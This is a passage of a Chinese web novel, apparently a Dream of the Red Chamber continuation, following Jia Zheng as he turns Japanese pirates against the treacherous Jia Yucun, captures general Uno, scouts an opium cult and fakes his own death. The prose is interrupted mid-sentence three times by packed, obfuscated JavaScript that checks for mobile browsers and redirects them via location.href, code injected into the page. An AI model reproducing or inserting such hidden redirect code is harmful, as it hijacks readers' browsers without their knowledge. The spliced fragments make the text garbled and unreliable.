贾政有些不好意思“毕竟是为王爷办事,牵连甚广,我也不敢像从前那么自大了···” “况且王爷对我的吩咐是将货物带回来,并且活捉倭国将军。如今货物已经损毁,咱们却必须活捉将军,所以还是谨慎些好。”贾政补充道。 “明面上只带十个人也就罢了,咱们就不能让大队人马埋伏着吗?”贾雨村笑道。 “可是北明岛咱们并不熟悉,看这封信的口气,那里应该是他们的老巢,咱们又如何让人埋伏呢?”贾政疑惑道。 “不能在岛上埋伏,也不能在海上埋伏吗?”贾雨村又道。 “只怕他们在海边也有许多放哨的。”贾政回道。 “等咱们进去了,就吩咐人神不知鬼不觉的将外围的倭人都杀了,再上岛接应咱们。”贾雨村露出一个狠辣的笑容。 “万一接应不及时,咱们二人的性命恐怕···”贾政犹豫道。 “富贵险中求,像大人这样豪门大族出生的人自然是无法想到的。”贾雨村讥讽了贾政一句。 贾政像是没有注意到一样,又问道“还是想个万无一失的办法,稳妥一些,不然王爷知道了恐怕···” “不如大人想办法拿出十万两银子和海防图,我洗耳恭听大人的万全之策。”贾雨村轻笑道“十万两对大人来说,肯定是稀松平常的事,没什么困难的···” “雨村有所不知,大有大的难处啊!我们那个家外面看起来不知是何等的豪富,可真实情况也羞对人言啊!”贾政叹了口气。 “既然如此,大人还不接受我的计策吗?”贾雨村坐直了身子,也不再看贾政。 贾政犹豫半天,这才勉强点了头,又道“如何处理掉岛屿外围的倭国人,还需要严谨些···” * 时间很紧张,贾政和贾雨村先是找广州衙门借人,虽然巡抚好说话,也想在忠顺王爷跟前表现,但也只能借给他们五百士兵和两只战船。 虽然人手并不充裕,但倭国人应该也不会太多,贾政也就勉强接受了。 贾雨村告诉贾政的的计策,就是买通给倭人送生活必需品的渔民,与他们里应外合,让他们把迷药下在倭人的饭菜酒水中,这样就有了可趁之机。 贾政面上配合贾雨村,心里却知道万不能相信他。贾雨村既然偏要实行这么一个漏洞百出的计谋,恐怕目的也不简单,他肯定还有后手。也许他不仅要活捉倭国将军,还要除去贾政这个眼中钉。 贾政想到这里,竟然笑出了声。他安慰自己是因为这些日子太紧张了,情绪都出现错乱了。 “既然要买通渔民下药,我看不如让咱们的人乔装成渔民的样子,既可以下药,又能上岛打入他们内部传递消息,岂不两处有利?”贾政又建议道。 “的确不错,那么就这样做吧。”贾雨村拍了拍贾政的肩膀。 从倭人来信开始,贾雨村的态度就发生了巨变,他在贾政面前连表面的恭敬都懒得维持,已经是一副唯我独尊的态度,以及你必须听我吩咐的口气。 “我倒要看看你能耍出什么花样!”贾政在心里暗想道。 为了安全考虑,他又避开了贾雨村和潘武等人见了面,将三日后的安排和自己的考虑都告诉了他,让他随时等着接应。 *

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302311|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 万事俱备,贾雨村和贾政按照倭人信中指定的时间,坐船去了北明岛,二人只带了十个护卫。 据贾雨村所说,提前安排好的人已经扮成渔民上了岛,计划正在有条不紊地执行着。 虽然没有带十万两白银,贾雨村却让人在几只大木箱中装满了石块,只表面放了一些银两。而所谓的两广总督的承诺也不过是一张没有效力的文书。 贾雨村越是这样使用漏洞百出的计策,贾政就越怀疑贾雨村是不是又和倭国人勾结在了一起。而这件事,也许忠顺王爷都不知情。贾雨村想要借此扳倒忠顺王爷。贾政暗暗想到。 事情完全按照贾雨村预先的计划发展,倭国人帮着抬箱子,有两人只打开看了第一个箱子,见上面是白银,就笑嘻嘻的合了盖子。 他们刚一下船,就看到沙滩上站着一群倭国人,最前面的人一身倭国传统服饰,腰间别了一把武士刀。 正午的阳光晃人眼睛,贾政眨了眨眼,却将面前的倭国将军看成了扬州遇到的那个水匪老四。贾雨村站在他旁边,先出口和宇野三郎打了招呼。 记忆和现实重叠,贾政才意识到原来又是一模一样的的境况。三年前的扬州胡平县,面对水匪与孙鹏程的勾结,三年后在南海北明岛,又是同样的情况。 实在是有些乏味,贾政的嘴角却勾出一个笑容。 他想到:三年前都能全身而退,没道理今天就会失败。 “早就听说宇野将军是少年英才!今日一见果然不同凡响!”贾政对宇野三郎笑道。 “大人在京城听说我的名字?”宇野三郎的汉语虽然带了一些口音,但还是很流利的。 贾雨村却道“宇野将军的大名早就从东洋传到上京了!” “这边请!”宇野三郎伸出右手,侧身让路。 贾政看贾雨村自觉和宇野三郎并肩而走,自己就跟在了后面。 * 北明岛很小,而且海拔不过三四米,若遇到海水上涨的时候,很容易就会被淹。只是倭国人比较幸运,他们占据这里的两年时间,一直风平浪静的。而熟知南海气候的广州渔民,却不会在这样的岛屿落脚。 宇野三郎还算知晓中华礼仪,宴席布置得很讲究,一共四张桌子,他和贾雨村并排坐了首席,贾政和船长在下首,面对面坐着。 贾政并不习惯倭国人的矮桌,全程跪坐着,他的腿一会儿就被压麻了。 “我不习惯这样的矮桌,不知能否换一张桌椅呢?”贾政轻笑着对宇野三郎说道。 那船长听了已经微微露出怒意,正要开口时,宇野三郎却道“是我疏忽了,不如咱们都换桌椅吧···” 宇野说罢,就有下人过来安置桌椅,不一会儿,四人又入了席。 “远客到来,应该先干一杯酒。”宇野举起酒杯,脸上挂着笑容。 众人都举杯饮了酒。 宇野三郎放下酒杯,微微眯了眼睛,沉声道“二位可还记得我信中所说的事?”宇野看了一眼贾雨村和贾政。 又道“第一件事,我希望二位向我们的武士道个歉···为了两次不愉快的经历。” 船长也附和道“都是你们偏要来招惹我们!” “不知是如何道歉呢?”贾政道。 贾雨村看了贾政一眼,却说道“哪里就是我们的错了呢?分明是你们劫掠在先···” “大人如果这样说话,分明是不想好好商谈了。”宇野又抿了一口杯中酒。 “二位不要着急,菜还没上来,怎么先争论起小事了呢?”贾政笑道。 宇野听了贾政的话,也对他一笑,就吩咐人传菜上来。 “现在可以谈这件小事了吗?”宇野又对贾政笑道。 “将军且慢,既然说好是赴宴,按照中华的礼节,我自然是有礼物献上的。”贾政又道。 贾雨村立刻看了一眼贾政,眼神中威胁意味很是明显。 贾政却不理会他,让站在后面的守卫拿出一个锦缎包着的盒子,他自己先打开,又起身走到宇野跟前,对他说道“这支枪是我特意让人从西洋带来的,将军看看?” “倒是好东西,也比一般的火枪小巧许多。”宇野似乎很喜欢。 贾政见宇野三郎低头把玩火枪,自己又走到贾雨村身旁,双手按住贾雨村的双肩,笑道 “雨村虽然没有准备礼物,但我想宇野将军和雨村关系亲密,也不会在乎这些小事的···” 98.孤身入局生死难料 贾雨村听了贾政的话忙正色道“我们今天来是为了讲和的,自然要维护双方的友谊了,存周却为何说这种怪话呢?想必是听到什么流言了?” 贾政轻笑着摇摇头,“雨村肯定知道我的意思···” 贾政不给贾雨村说话的时间,他又对宇野道“将军以为如何?” “这火枪倒是不错。”宇野将手指放到了扳机上。 贾政却摇摇头,又道“我说的并不是火枪。我说的是将军如何处理我们两个,我们今日虽然来了,但并没有完成将军的三个要求。” 宇野三郎收敛了笑容,一手拿枪,一手放在腰间的武士刀上,双眼直直盯着贾政。 “这里面已经上好了两颗子弹,将军轻轻一按,就可以杀了我们···”贾政又道。 “你疯了不成?”贾雨村见贾政越说越不像话,猛地站了起来。 “雨村不要心急,坐下听我细说。”贾政重新按着他的肩膀,强压着他坐了下来。 “我不过是开个玩笑,你看看,怎么又急了呢?”贾政笑道“额头都冒汗了,快让我为你擦汗!”说着话,贾政就掏出一方帕子,却没有为贾雨村擦汗,而是从背后塞到了他手里。 贾雨村刚一接过手帕准备擦汗时,却惊觉不对,睁圆了双眼,怒瞪着贾政。 “雨村何故这样看我?”贾政又朝贾雨村笑道。 贾雨村手里捏着贾政递给他的帕子,下面又是一支火枪,他万没想到贾政今日做这么多怪事,现在只觉得如坐针毡,汗流浃背。 “雨村是不是想说什么···”贾政又笑。 宇野三郎看情况不太对,便打断贾政道“所以你今天来是送死的吗?” 贾政却道“我想在这之前,雨村有话要说,是不是呢?” 贾雨村瞪了他一眼,并不说话。 “雨村要不要说一下你的计划呢?”贾政轻声道“说清楚你打算如何活捉宇野将军,再杀死我,然后好去王爷那里邀功呢?” “或者雨村是想去和圣上邀功?”贾政的声音更低了。 宇野和贾雨村却双双变了神色。 贾雨村起身怒道“你又何故这样冤枉我?”说罢还对宇野解释道“将军莫要听信谗言,他不知道吃了什么药,说出这些不着边际的胡话来挑拨咱们的!” 贾雨村仍然寄希望于宇野三郎仍记挂着他们二人的合作,不会轻易相信贾政的挑拨。 可是多疑的宇野哪里信贾雨村呢?前两日贾雨村来这里想要和他合作,二人一同杀死贾政,再去王爷那里邀功,宇野当时就半信半疑的。并不完全信他,只是表面上配合,看他有什么花招。 没想到贾政又说了这么一番话,宇野心中对贾雨村的怀疑立刻到达了顶峰。他手指放在扳机上,一错不错地盯着贾雨村。 “将军快看!他手里拿着枪,要害将军呢!”贾政突然将贾雨村手中的帕子揭开,又将他猛地一推,贾雨村扑到了宇野身上。 宇野惊慌之下,连忙开了一枪,贾雨村同样开了枪。 宇野看着贾雨村腹部冒出鲜血倒在地上,而贾雨村手中的枪却并没有射出子弹。 “你骗我!”宇野立刻意识到被骗,就举起枪指着贾政。 “也许枪卡壳了,可他意图谋害将军可是真话。”贾政低头看了一眼贾雨村,也不在乎他的遗言,又对宇野说道“我为将军除了这个祸害,难道将军还要杀我吗?” 宇野见贾政仍是笑吟吟说着话,心中对他的畏惧更添几分。此人这么短的时间就用几句话害死了贾雨村,只怕若再不杀了他,自己也要受害。 宇野将手指又放在扳机上,一旁的船长见状,抽出自己的武士刀,双手紧紧握着刀柄,只等将军示意后自己就扑上去杀了贾政。 “可惜啊,将军你···”贾政话只说了一半,猛地向前扑去,宇野早就防备着他,一个闪身就轻松躲开,同时就开了枪。 宇野开枪后却感觉到自己后脑被枪管抵着,宇野的心凉了半截。 “放下你手里的刀,往后退,不然我现在就杀了你们的将军。”贾政又对船长说道。 “不是有两颗子弹吗?为何你没有中枪?”宇野仍不死心。 “敌人的话,你也敢信吗?”贾政轻笑道,一手拿火枪抵着宇野的头,一手捏住他肩膀,紧紧贴着墙壁。 “你是贾雨村的敌人。”宇野说道。 “我不是他的敌人,他却想杀我,他的敌人是你。”贾政回道。 “从没有见过这么小巧的火枪,你是从哪里来的?”宇野又问,试图拖延时间。 “你担心自己做个冤死鬼吗?放心,我不会杀你的。”贾政又道。 “船长已经去叫人了,你以为可以全身而退吗?”宇野轻笑道。 “能不能全身而退,咱们走着瞧吧!”贾政在宇野后脑猛地拍了一下,他立刻晕了过去。 宇野倒了下去,贾政拖着他出了门。这间屋子平日只有宇野自己住,其他武士们的屋子远在岛屿的另一边。 这样高傲自大的性格真是害了他!贾政忍不住笑道。 * 此时船长也带了人,一大群倭人举着刀跑过来,而潘武和马双虎也适时地赶了过来,带着三十多人围在了贾政跟前。 “有多少人中了迷药?”贾政忙问。 “大约只有一半,他们如今还有不到一百人。”潘武回道。 “咱们的船准备好了吗?”贾政又问。 “两只小船”马双虎回道。 “还是免不了一场厮杀啊!”贾政叹了口气,又道“让大家将火枪和弹药准备好,今日死在这里的兄弟,我一定会善待你们的家眷!” 宇野三郎知道太多忠顺王爷的秘密,贾政是必须要带他回京的,为了避免闪失,潘武带了三个人掩护贾政和宇野三郎撤退。 六人一路避开厮杀,走向海边的船只。 贾政的一颗心一直悬在半空,就害怕出了差错,不仅无法活捉宇野三郎,自己这些人的性命都要交代在这里。 刚走到船旁,贾政还没有松口气,就看到船上跳出三个人影,每人都扛着一把武士刀。 贾政立刻闪身躲避,可还是被刀砍到了左臂。 有贾政和宇野三郎作为诱饵,倭人都忙着救将军砍贾政,潘武得了机会,立刻和手下将三个倭人杀了。 贾政用袖子擦了汗,又对潘武道“快放信号,让咱们的人撤退!” 潘武刚将烟火放了,忽然看到远处又有上百人加入了厮杀。 “应该是之前贾雨村带来的手下。”贾政叹道“也不知道贾雨村是如何吩咐他们的。” “快让弟兄们撤退,不要和官兵纠缠!”贾政又道,官兵若有伤亡也可以推到倭人的头上,但贾政还是想尽量避免这种事发生。 贾政拖着宇野先上了旁边贾雨村带过来的一只官船,不需要人来划船,一会儿撤退也会快一些。 “等人都上来了,我吩咐你开船,你就开船,听到了吗?”贾政又对船上的舵手说道。 贾政站在甲板上,看到沙滩上忽然冒起一大片黄烟,就知道潘武等人要撤退了。他亲自站在舷梯旁清点人数,等最后一个马双虎上来后,贾政立刻喊道“开船!” “快点,回广州!”贾政又吩咐道。 可是眼看着倭人穷追不舍的样子,贾政又犯了难。不知道能不能安全回到港口呢? 倭人船长带着人也乘船开始追击,他们速度比官船还快一些,渐渐跟了上来。 “快把宇野将军放了,不然我炸了你的船!”倭人船长喊道。 海风这样大,如何听得清楚? 他们又写了字条绑在箭上射了过来。 “告诉他们,如果轻举妄动,就先杀了他们的将军喂鱼!”贾政对潘武道。潘武从军出身,声音也更大些。 潘武刚说完,贾政立刻想到若是倭人也起了内讧,不在乎宇野三郎的生死,一定要追上来拼命怎么办? 或者他们也想杀了宇野,又栽赃到我身上? 贾政刚想到这里,忙对潘武道“不好,快下船!” 船侧的两只舢板船放了下来,贾政等人刚坐上去,原本的大船就炸了。 只是这次船炸得更严重,两只小船很快就翻了,众人都掉进了海里。 “快抱住木板,让自己飘起来!”贾政努力喊道。 潘武和马双虎也跟着喊,一时间,众人全都抓到了木板,暂时没有生命危险。只是还有一些人没来得及下船的,都葬身大海了。 奇怪的是,原本穷追不舍的倭人看见船炸了,竟然也不想打捞将军的遗体,却掉转船头回去了。 “大人,你说好端端的,咱们的船怎么炸了?”潘武问道。 贾政苦笑一声,回道“我猜是贾雨村安排的,他大概原本就没想让我活着回去吧!” “倭国人也知道?”潘武又问。 “贾雨村和倭国人勾结,应该也告诉了他们。”贾政回道。 望着茫茫大海,贾政的手臂还流着血,现在真是体会到了什么叫做生死难料。 潘武立刻撕下自己的一截里衣,幸好还是干的。解开贾政先前随意缠着的一截布,又用干净的衣服帮他紧紧缠了两圈。 “你为我做事也才几年,就看到我受了这么多次伤了!”贾政苦笑道。 “大人,咱们如何回去呢?这里到港口,坐船都需要半天时间呢!”潘武又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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安顿好宇野之后,潘武拿刀去砍竹子做竹筏,贾政本来想弄几个椰子吃,可惜太高了,根本够不到。没有办法,贾政努力去捞了一些小鱼小虾,勉强果腹吧。 晚上他们又在岸边点燃了篝火,试图让经过的船只看到他们。 * 次日一早,宇野终于醒了过来。 “说说吧,你究竟知道忠顺王爷的什么秘密。”贾政问道。 宇野还不死心,他四处看了一圈,想找找有没有自己的人。 “这岛上根本没人,你还是省点力气吧。”潘武笑道。他一边搓着绳子,一边说话。 宇野颓丧地低了头。 “他们都不在乎你的死活了,那日船炸了,他们都懒得来捞你的尸体。”贾政又道“你若配合我,说了实话,留你一条性命也不是不可能的。” “贾雨村真是个混蛋!”宇野又骂道。 “他的确是个混蛋。”贾政坐在宇野身旁,又道“但他已经死了,你也想和他一样吗?” 宇野无法,终于开口了“贾雨村前两日来找我议事,你知道吗?” 贾政点了点头,示意他说下去。 宇野讲完了贾雨村勾结他的经过“我虽然并没有十分信任他,可到底因为他才落到这个地步。”说罢,宇野长叹一口气。 “忠顺王爷的事呢?”贾政又问。 宇野忽然笑出了声,对贾政道“你知道多少?” “我只知道他从南洋运鸦片贩卖。”贾政回道。 “他在那里还有好多专众罂粟的土地你可知道?”宇野笑道。 贾政摇摇头,“倒也不让人吃惊。货物卖到何处呢?” “北高国。”宇野回道。 贾政从没听过国内有这东西的传闻,也猜到还没有人敢在皇帝的眼皮底下售卖。 “你不想知道他赚这么多钱做什么用吗?”宇野反问贾政。 “你是如何知道的?”贾政道。 “他之前找过我,想和我一同做件大事,作为盟友,我自然知道这些事。”宇野笑道。 “但是你背叛了他,抢了他的货物···”贾政笑了笑。 “不只这个,我还抢了他在孟买的罂粟田。”宇野回道。 “你既然背叛过他,我如何信你说的都是真话呢?”贾政又问。 “随你信不信···”宇野撇了撇嘴。 “王爷赚那么多钱去了哪里?他和你要做什么大事?”贾政追问道,又拿出那封从刘青身上找到的信件问道“这封信写的什么?” 99.从头收拾旧山河 听完宇野三郎说的,贾政都倒吸一口凉气。他从没有想过忠顺王爷的野心竟然这样大! “怎么样,你还要揭发他吗?”宇野笑道。 “贾雨村死了,我若不揭发王爷,恐怕我全家人的性命都不保···”贾政叹了口气。 “你大可以将贾雨村的死推到我身上,况且本来就是我杀的。”宇野笑道。 “他本就不信任我,只要有一点点疑虑,他就会毫不留情的杀了我,像杀死一只苍蝇一样简单。”贾政又想到了入狱的那些日子。 贾政沉思片刻,才对潘武道“等竹筏扎好了,咱们回到广州后,你立刻回京一趟···” “回去报平安吗?”潘武问道。 贾政摇了摇头,“回去报丧。” 潘武很是惊讶,不懂贾政的想法,忙问道“老爷为何这样做?万一老太太和太太悲伤过度···” “你先去找珠大爷,让他带你去见老太太和太太。其他人一概不能在场,你只告诉老太太和太太两人,让她们知道我还活着就好。对外宣称,我和贾雨村因为船难死了···” 贾政说到这里,又补充道“家里办着丧事,王爷那边自然也就不会那么怀疑了。” 潘武仍有些犹豫,又问道“敢问老爷在广州又去做什么呢?” “先不告诉你了,等咱们在京城重逢时你就知道了。”贾政拍了拍潘武的肩膀,笑道“戏演得逼真一点,最好多掉几滴眼泪,不然外人不会相信的。” 潘武点了点头,又问道“没凭没据的,只怕老太太和老太太不相信,或者又要担心老爷的安危。” “最好让你带个凭证···”贾政也附和道。 他本想取下自己颈间的佛珠给潘武,又怕王夫人反而要以为这是遗物。但贾政手上也没有戒指,身上也没带什么饰品,若再去广州的住处拿东西,难免让人疑心,又耽误时间。 贾政想了片刻,才笑道“你去拿几片树叶子来吧!” 三人最后还是坐上了潘武做的竹筏,好在漂了半日,就遇到了本地的渔民,坐了他们的船回到广州。 潘武离开后,贾政却长舒了一口气。 “如今你没有了帮手,也不怕我跑掉吗?”宇野问道。 “所以你要服了这包药。”贾政拿出一小包粉末,笑道“这是滇南的一种毒药,服了之后每日都需要服用一包解药,若不及时服用解药,发作时痛不欲生,全身都会被自己挠烂···” 说罢,贾政勾起一个奇怪的笑容,又给宇野喂了药。 “好狠毒的心!”宇野骂道。 “你这样惯常背叛盟友的人,我必须时刻防备着。”贾政笑了笑。 * 船难的消息在广州城已经传开了,据说死了两位京城来的高官还有数百的士兵。王熙凤自然也得到了消息。心中又是焦急又是忧虑,迟迟不敢写信到京城。但也吩咐了守夜的人时刻关注着晚上有无陌生人来找。 有人趁着夜色敲开了王熙凤的门,下人领着只露出眼睛的二人进了待客的屋子。 王熙凤一看到来人的背影,就轻声叫道“姑父···” 贾政摘下蒙脸的黑布,对王熙凤道“小点声,不要被外人知道了。” “姑父,你怎么这样来了?他又是谁?”王熙凤满腹疑惑。 “来不及解释了,我是想让你知道我还活着,但我已经派人去京城报丧去了···”贾政又道。 王熙凤忙要问时又被贾政打断了“我有事要做,你不要将我来这里的事告诉任何人,也不要写信到京城,不出两个月,我应该就回到京城了。” “好吧”王熙凤勉强压住了自己的好奇心。 “潘武回京城了,但是我手下那些人因为船难还不知道在哪里,若是有人来这里找,你就帮我先收留他们吧。”贾政嘱咐道,这也是他来这里的原因。 王熙凤点了头。 贾政笑了笑“我走了,你不要担心···”说罢,拉着宇野转身就走。 王熙凤不敢大声说话,也不敢强留,只望着贾政的背影叹了口气。 平儿见客人都走了,这才出来,她不知道发生了什么,也并没有问。 “平儿,咱们先不要去南洋了,过些日子回京城一趟吧。”王熙凤低声道。 平儿立刻猜到必然和刚才的客人有关,却只是附和道“好啊,我明日就去打点回京要带的东西。” “不着急,咱们一个月之后再出发吧。”王熙凤又道。 * 此时在南岭地区的林地中,贾政和宇野三郎艰难步行着。此处林木广布,却几乎没有路,只有一些村民走过的羊肠小道,在树木掩盖之下也很难找到。 这里气候湿热,蛇虫鼠蚁更是数不胜数。幸好贾政提前备了一些药物用来驱散蛇虫的,不然只怕还没到地方,就被蛇咬死了。 “这样难走的路,为何偏要走一趟呢!”宇野抱怨道。 “俘虏要有俘虏的自觉,我还没抱怨,你抱怨什么?”贾政笑道。 “你已经知道了忠顺王爷的秘密,又有我这个证人,直接回京城报给皇帝就是了,为什么搞这些鬼把戏!”宇野不解道。 “因为我不信你,我只有亲眼看了才能确信你说的是真的。”贾政笑道。 宇野竟然点点头,附和道“你的确很谨慎,我不及你,所以才做了阶下囚。” “给你,今日的药。”贾政拿了一包药粉递给宇野。 宇野吃了药,又喝了口水,才道“你不怕我跑了?这样的路你可不好找我。” “跑吧,我放你走。”贾政笑道。 “刚才还说你谨慎呢,现在又变了。”宇野回道。 “刚才吃了药,你难道忘了自己体内的毒了吗?说一些没有用的话,所以我也不想认真回答你。”贾政专注着走路。 宇野叹了口气,跟在贾政后面。 他们二人在山林里跋涉了九日,这才到了宇野三郎说的地方。 “这样隐秘的村庄,也难为他找得到!”贾政站在山顶,远眺着下面的村庄。 “要进去看看吗?”宇野问道。 贾政摇摇头,“他们肯定有许多守卫,咱们不能随意闯进去。” “那接下来怎么办?”宇野又问。 “想个办法,乔装成附近的村民。”贾政回道。 “还是同样的办法,你为何这么自信管用呢?”宇野又道。 “还有其他办法进去吗?不如你想一个。”贾政反问宇野“况且你的中国话说的又很奇怪,太容易被人发现了。” 宇野有些无奈,又问道“如何乔装?” “你装作是我的哑巴儿子,我装作是你的父亲,咱们本来要去山脚下的村庄,却迷了路。”贾政回道。 宇野低头看了看自己一身破破烂烂的衣裳,贾政也是同样狼狈,也觉得这样的安排很妥当,就没有反驳。 只是两个人深入虎穴,实在也太冒险了! 二人顺着山间小路,朝着山坳的村子走去。贾政心里也难掩紧张,他只有不停摸索着颈间的佛珠,才能给自己一点勇气。 “你的佛珠看着太华贵了,收起来吧。”宇野提醒道。 贾政先是一愣,立刻反应过来,回道“本来是日夜带着的,一时忘了,多谢你提醒。” “你夫人给你的吗?”宇野又问。 贾政点了点头。 “我们进了村子,然后要做什么呢?”宇野问道,他们已经走到了半山腰。 “喝一碗水就走吧,不能久留。”贾政回道。 “你敢喝他们的水吗?”宇野却笑了。 “千里迢迢来到这里,竟然只为了看一眼。”宇野又叹道。 “其实我不是不相信你说的话,我只是需要确定位置,方便以后···”贾政回道“之所以要进去看一眼,是想知道他们到什么程度了,还能不能挽救。” “我不信你这样好心。”宇野又道。 “我不在乎你信不信。”贾政没有看他。 * 这个村子很奇怪,大白天的,所有村民都待在家里,也不干农活,只有一些人在村子中央的大青树下坐着闲聊天。 羊肠小道通到山脚,远远就看到了路口站着两个人,手里还着着长刀。 贾政深吸一口吸,又在宇野后背猛拍了一下,以做提醒。 “我们要去山脚下的村子找亲戚,不知道是不是这里啊?”贾政一开口竟然是广州山区的土话。宇野心中诧异,却低着头没反应,他现在是哑巴儿子,不能说话。 “你们要去哪个村子?”守卫虽然语气不太好,却没有动手的意思。 “王庄沟村,找我婆娘的大哥哥。”贾政随意编了一个。 “你大舅哥住的地方你还不知道吗?”守卫笑道。 “二房死了,这不是来报丧了嘛!”贾政堆了笑。 “这不是王庄沟村,你们走吧。”守卫又道。 贾政叹了口气,又恳求道“我们走了好久实在很累,不如让我们进去喝碗水歇一歇吧!” 这两个守卫原本都是附近的村民,也并没有多狠毒的心肠,此时见贾政和宇野狼狈不堪,说的话也没有不对的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310905|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人对视一眼,就真的放他们进去了。 “喝碗水就走吧,不要被我们的管事看到了,否则怕你丢了小命。”守卫严肃道。 贾政千恩万谢地对守卫行了礼,二人这才沿着小路进了村子。 虽然有村民走动,但他们都如同行尸走肉一般,骨瘦如柴,眼神呆滞,完全不像是正常人,贾政暗暗叹气。 “快走!管事要讲经了!”巷子里跑出来一个男孩喊道“今日若迟到了,怕要打断腿呢!” 贾政心中惊骇,和宇野对视一眼,二人也随着男孩的脚步跟了上去。 村子中心竟然是一大片平地,此时已经站了不少人,中间一个高台上站着人。 贾政和宇野不敢走近,只混在人群的外围,又遮了脸,怕被人发现。 因为紧张,贾政感觉自己的心跳得更快了,甚至要飞出嘴巴。贾政忙捂住嘴巴,另一只手在袖中攥的紧紧的。 若真的被发现了,这么多人一人踩一脚,他们二人就要丧命于此了。 宇野也没有耍花招,他一直紧紧拽着贾政的袖角,不曾远离贾政。 台子上的管事开口了“大家今日聚得很快,这很好!”管事话音刚落,众人就鼓起掌来,贾政和宇野也有样学样。 “咱们的吐火教,如今已有了一万信众了!”管事大声喊道“为了庆祝,今日多发一次神药给大家!”管事说罢,众人立刻欢欣鼓舞,那些拿了药的,立刻打开就吃了。 贾政颤抖着手接过了一小包药粉,庆幸没有被发现。 众人吃完药不到一刻钟,神情立刻亢奋起来,管事笑了笑,又道“大家这样的情绪非常好,接下来我给大家讲经···” 贾政糊里糊涂听完了管事讲经的全过程,心里除了震惊,更多的是害怕。 众人散开后,贾政和宇野也都准备溜走,二人一路走到两位守卫在的地方,打完招呼也就离开了。 * 按照贾政的吩咐,潘武一路上不敢有丝毫耽搁,快马加鞭回了京城。 到了京城他也不敢去休息,直接到了荣国府找贾珠。 “我是为二老爷做事的,有要事告诉老太太和太太。”潘武对贾珠道。 “告诉我也是一样的。”贾珠说道。 潘武却摇了摇头,回道“只能先告诉老太太和太太。” 贾珠见他坚持,也不勉强,就带着人去了贾母处。 因为潘武又说不能被其他人知道,贾珠又让丫鬟在前面先去回报老太太,将其他人打发走了。 贾珠将人送到后,见潘武也无意让他留着,就自觉要出门,可贾母却道“珠儿你为何不留下来听呢。” 潘武就又解释了一遍。 贾母无奈挥了挥手,神情很是焦急。王夫人一直站在贾母身后为她顺气。 “现在可以说了吧!”贾母又问潘武。 潘武跪行至贾母跟前,这才轻声将贾政交代他的事说了。 贾母和王夫人听后,担忧到了极点。 王夫人忙问“老爷没说他去了哪里,何时回来吗?” 潘武摇了摇头。 “二老爷果真说要办葬礼吗?你说的可句句属实?”贾母追问道。她不仅奇怪,心里更是担心贾政的安危。又忍不住落了眼泪,还咳嗽了好一会儿。 “老太太不要着急!”王夫人自己虽然也落了泪,却又害怕贾母有个好歹,就一直宽慰她。 王夫人是见过潘武的,也知道潘武是贾政的得力手下。所以她没有怀疑潘武的身份。 “二老爷难道没让你带封信回来?或是其他什么凭证?”贾母追问道。 潘武忙从口袋中拿出一个草编的小兔子双手奉上,又解释道“只有这个作为凭证···” 王夫人再也忍不住,流着泪接过了潘武手中的草编兔子。她一边哭,一边用手指轻轻抚摸着小兔子。 本来是用新鲜的棕榈叶编的,过了一个多月,嫩绿的叶片早已干枯,兔子的一只耳朵也断了。 “老太太,的确是老爷传的话,再没有假的了···”王夫人又对贾母解释道。 “只凭这个东西吗?”贾母又问。 “老爷编的兔子总是有八只脚,外面再不会有八只脚的兔子了···”王夫人脸上挂着泪,却在想起贾政是如何认真编出这只兔子时,又露出一个很浅的笑容。 她没有理由不去相信贾政,就像过往无数次等候他安然无恙地回家一样。王夫人相信贾政的能力,也相信他对家人的眷恋不舍。 等他回到家,她可以给他宁静的守候和一个满是抚慰的拥抱。 100.尘埃落定心光明 贾政和宇野三郎出了山,二人虽然急着赶路回到京城,又怕被忠顺王爷的手下发现。一路上也一直乔装打扮,换了许多次装束。一会儿坐车一会儿坐船,也尽量绕了些路程,足足花了一个多月的时间才回了京。 贾政带的盘缠丢了一些,剩下的也不多,二人花了个干净,浑身只剩下了破衣烂衫,宇野同样如此。 二人进了京城,简直像两个乞丐,城门的守卫对他们也骂骂咧咧爱答不理的,直接放行了。 望着京城高高的城墙,贾政闭了眼感受了一会儿京城初夏的风。 这才又打起精神,去了林府。 二人在林府待了一会儿,更衣净面后,这才与林如海一同坐上了车。 从林府到皇宫的路上是要经过荣国府的。 半个多月前,潘武回京报丧。此时宁荣街热闹异常,都是往来吊唁的亲友。而宁荣两府门口都高挂着素白缎子,灯笼同样换成了白色。他们正在为贾政办丧事。 “要过去瞧一眼吗?”林如海低声问道“你失踪了这么久,老太太和嫂子都很伤心,孩子们不知道实情,宝玉都哭晕过去了。” “内外谁来主事呢?”贾政看着来往的马车,忽然问道。 “珠儿负责外面的事,大嫂子帮衬着嫂子打理里面的事,还有探春和宝钗也帮忙料理。”林如海回道。 “你之前传信说自己死了,就该想到今日的情景。”宇野忽然开口“你不怕她们为你担心?” “该操心的无论如何都少不了,你以为我愿意这样做吗?”贾政转头看了一眼宇野。 